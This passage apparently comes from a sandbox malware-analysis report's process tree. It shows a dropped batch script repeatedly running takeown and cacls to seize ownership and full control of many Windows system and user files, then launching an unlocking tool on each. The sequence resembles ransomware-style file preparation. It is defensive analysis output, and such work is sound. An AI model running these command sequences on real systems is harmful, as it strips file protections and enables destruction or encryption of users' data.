    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3784
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png""
  2⤵
  PID:3188
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png" /E /G Admin:F /C
    3⤵
    PID:292
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png"
    3⤵
    PID:3984
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "watermark.png" -nobanner
    3⤵
    PID:2560
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "watermark.png" -nobanner
      4⤵
      PID:3844
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3456
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml""
  2⤵
  PID:3172
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml" /E /G Admin:F /C
    3⤵
    PID:288
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml"
    3⤵
    - Modifies file permissions
    PID:2856
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:3464
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:3332
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3264
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml""
  2⤵
  PID:4008
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml" /E /G Admin:F /C
    3⤵
    PID:3112
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml"
    3⤵
    PID:3396
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftLync2013Win32.xml" -nobanner
    3⤵
    PID:2688
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftLync2013Win32.xml" -nobanner
      4⤵
      PID:2360
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:756
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml""
  2⤵
  PID:4080
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml" /E /G Admin:F /C
    3⤵
    PID:1784
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml"
    3⤵
    PID:292
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2013Win64.xml" -nobanner
    3⤵
    PID:3984
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2013Win64.xml" -nobanner
      4⤵
      PID:1292
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3844
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml""
  2⤵
  PID:1892
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml" /E /G Admin:F /C
    3⤵
    PID:3776
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml"
    3⤵
    PID:288
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftSkypeForBusiness2016Win64.xml" -nobanner
    3⤵
    PID:2856
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftSkypeForBusiness2016Win64.xml" -nobanner
      4⤵
      PID:948
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1436
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png""
  2⤵
  PID:3332
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png" /E /G Admin:F /C
    3⤵
    PID:3804
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png"
    3⤵
    PID:1124
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "superbar.png" -nobanner
    3⤵
    PID:3112
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "superbar.png" -nobanner
      4⤵
      PID:3396
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2860
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml""
  2⤵
  PID:2688
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml" /E /G Admin:F /C
    3⤵
    PID:4008
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml"
    3⤵
    PID:756
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:3148
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:2484
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1568
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml""
  2⤵
  PID:3104
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml" /E /G Admin:F /C
    3⤵
    PID:3472
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml"
    3⤵
    - Modifies file permissions
    PID:3844
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftInternetExplorer2013.xml" -nobanner
    3⤵
    PID:2380
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftInternetExplorer2013.xml" -nobanner
      4⤵
      PID:3304
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1384
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml""
  2⤵
  PID:1496
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml" /E /G Admin:F /C
    3⤵
    PID:3456
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml"
    3⤵
    PID:3312
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2013Office365Win32.xml" -nobanner
    3⤵
    PID:584
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2013Office365Win32.xml" -nobanner
      4⤵
      PID:2244
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4028
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml""
  2⤵
  PID:3648
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml" /E /G Admin:F /C
    3⤵
    PID:3172
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml"
    3⤵
    PID:3992
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOutlook2016CAWin32.xml" -nobanner
    3⤵
    PID:2328
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOutlook2016CAWin32.xml" -nobanner
      4⤵
      PID:628
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:264
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd""
  2⤵
  PID:3128
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd" /E /G Admin:F /C
    3⤵
    PID:3936
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd"
    3⤵
    - Modifies file permissions
    PID:1932
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "SettingsLocationTemplate.xsd" -nobanner
    3⤵
    PID:1760
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "SettingsLocationTemplate.xsd" -nobanner
      4⤵
      PID:3524
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3400
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\USOShared\Logs\System\MoUsoCoreWorker.65e2bc17-a539-4ced-896b-ebc3769d88f1.1.etl""
  2⤵
  PID:288
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\USOShared\Logs\System\MoUsoCoreWorker.65e2bc17-a539-4ced-896b-ebc3769d88f1.1.etl" /E /G Admin:F /C
    3⤵
    PID:1796
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\USOShared\Logs\System\MoUsoCoreWorker.65e2bc17-a539-4ced-896b-ebc3769d88f1.1.etl"
    3⤵
    - Modifies file permissions
    PID:3164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MoUsoCoreWorker.65e2bc17-a539-4ced-896b-ebc3769d88f1.1.etl" -nobanner
    3⤵
    PID:2520
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MoUsoCoreWorker.65e2bc17-a539-4ced-896b-ebc3769d88f1.1.etl" -nobanner
      4⤵
      PID:1892
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4072
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\USOShared\Logs\System\WuProvider.aa970506-f5b9-49fa-9427-b94673363750.1.etl""
  2⤵
  PID:3804
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\USOShared\Logs\System\WuProvider.aa970506-f5b9-49fa-9427-b94673363750.1.etl" /E /G Admin:F /C
    3⤵
    PID:268
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\USOShared\Logs\System\WuProvider.aa970506-f5b9-49fa-9427-b94673363750.1.etl"
    3⤵
    PID:296
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "WuProvider.aa970506-f5b9-49fa-9427-b94673363750.1.etl" -nobanner
    3⤵
    PID:2536
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "WuProvider.aa970506-f5b9-49fa-9427-b94673363750.1.etl" -nobanner
      4⤵
      PID:3332
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2860
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Package Cache\{7DAD0258-515C-3DD4-8964-BD714199E0F7}v12.0.40660\packages\vcRuntimeAdditional_x86\cab1.cab""
  2⤵
  PID:4008
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Package Cache\{7DAD0258-515C-3DD4-8964-BD714199E0F7}v12.0.40660\packages\vcRuntimeAdditional_x86\cab1.cab" /E /G Admin:F /C
    3⤵
    PID:4012
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Package Cache\{7DAD0258-515C-3DD4-8964-BD714199E0F7}v12.0.40660\packages\vcRuntimeAdditional_x86\cab1.cab"
    3⤵
    - Modifies file permissions
    PID:360
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "cab1.cab" -nobanner
    3⤵
    PID:3148
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "cab1.cab" -nobanner
      4⤵
      PID:2360
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1568
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Package Cache\{CB0836EC-B072-368D-82B2-D3470BF95707}v12.0.40660\packages\vcRuntimeMinimum_amd64\cab1.cab""
  2⤵
  PID:3472
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Package Cache\{CB0836EC-B072-368D-82B2-D3470BF95707}v12.0.40660\packages\vcRuntimeMinimum_amd64\cab1.cab" /E /G Admin:F /C
    3⤵
    PID:2484
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Package Cache\{CB0836EC-B072-368D-82B2-D3470BF95707}v12.0.40660\packages\vcRuntimeMinimum_amd64\cab1.cab"
    3⤵
    PID:2184
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "cab1.cab" -nobanner
    3⤵
    PID:3400
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "cab1.cab" -nobanner
      4⤵
      PID:4052
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1384
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-790714498-1549421491-1643397139-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e.dat""
  2⤵
  PID:272
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-790714498-1549421491-1643397139-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e.dat" /E /G Admin:F /C
    3⤵
    PID:3304
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-790714498-1549421491-1643397139-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e.dat"
    3⤵
    PID:1212
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "75fbd12bafcbd46e.dat" -nobanner
    3⤵
    PID:4072
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "75fbd12bafcbd46e.dat" -nobanner
      4⤵
      PID:3464
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4028
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.c361ea62-3714-4117-bd40-ae8dff18647b.1.etl""
  2⤵
  PID:1788
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.c361ea62-3714-4117-bd40-ae8dff18647b.1.etl" /E /G Admin:F /C
    3⤵
    PID:2244
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.c361ea62-3714-4117-bd40-ae8dff18647b.1.etl"
    3⤵
    PID:1124
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MoUsoCoreWorker.c361ea62-3714-4117-bd40-ae8dff18647b.1.etl" -nobanner
    3⤵
    PID:2860
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MoUsoCoreWorker.c361ea62-3714-4117-bd40-ae8dff18647b.1.etl" -nobanner
      4⤵
      PID:3648
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2976
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-790714498-1549421491-1643397139-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e.dat""
  2⤵
  PID:4000
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-790714498-1549421491-1643397139-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e.dat" /E /G Admin:F /C
    3⤵
    PID:3396
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-790714498-1549421491-1643397139-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e.dat"
    3⤵
    - Modifies file permissions
    PID:1568
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "75fbd12bafcbd46e.dat" -nobanner
    3⤵
    PID:3320
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "75fbd12bafcbd46e.dat" -nobanner
      4⤵
      PID:3412
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1200
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\USOShared\Logs\System\MoUsoCoreWorker.c361ea62-3714-4117-bd40-ae8dff18647b.1.etl""
  2⤵
  PID:2092
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\USOShared\Logs\System\MoUsoCoreWorker.c361ea62-3714-4117-bd40-ae8dff18647b.1.etl" /E /G Admin:F /C
    3⤵
    PID:3188
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\USOShared\Logs\System\MoUsoCoreWorker.c361ea62-3714-4117-bd40-ae8dff18647b.1.etl"
    3⤵
    PID:3844
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MoUsoCoreWorker.c361ea62-3714-4117-bd40-ae8dff18647b.1.etl" -nobanner
    3⤵
    PID:2992
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MoUsoCoreWorker.c361ea62-3714-4117-bd40-ae8dff18647b.1.etl" -nobanner
      4⤵
      PID:1604
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1552
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat.LOG1""
  2⤵
  PID:3060
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat.LOG1" /E /G Admin:F /C
    3⤵
    PID:2520
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat.LOG1"
    3⤵
    PID:1508
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "settings.dat.LOG1" -nobanner
    3⤵
    PID:3112
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "settings.dat.LOG1" -nobanner
      4⤵
      PID:3232
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2988
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Header.bin""
  2⤵
  PID:4064
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Header.bin" /E /G Admin:F /C
    3⤵
    PID:2240
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Header.bin"
    3⤵
    PID:3992
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "TileCache_100_0_Header.bin" -nobanner
    3⤵
    PID:456
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "TileCache_100_0_Header.bin" -nobanner
      4⤵
      PID:3556
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3784
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml""
  2⤵
  PID:2484
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml" /E /G Admin:F /C
    3⤵
    PID:4020
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml"
    3⤵
    - Modifies file permissions
    PID:1932
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "behavior.xml" -nobanner
    3⤵
    PID:1404
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "behavior.xml" -nobanner
      4⤵
      PID:3472
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2104
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml""
  2⤵
  PID:3776
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml" /E /G Admin:F /C
    3⤵
    PID:3788
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml"
    3⤵
    PID:3984
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:4072
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:272
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1892
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml""
  2⤵
  PID:2244
- - C:\Windows\SysWOW64\cacls.exe
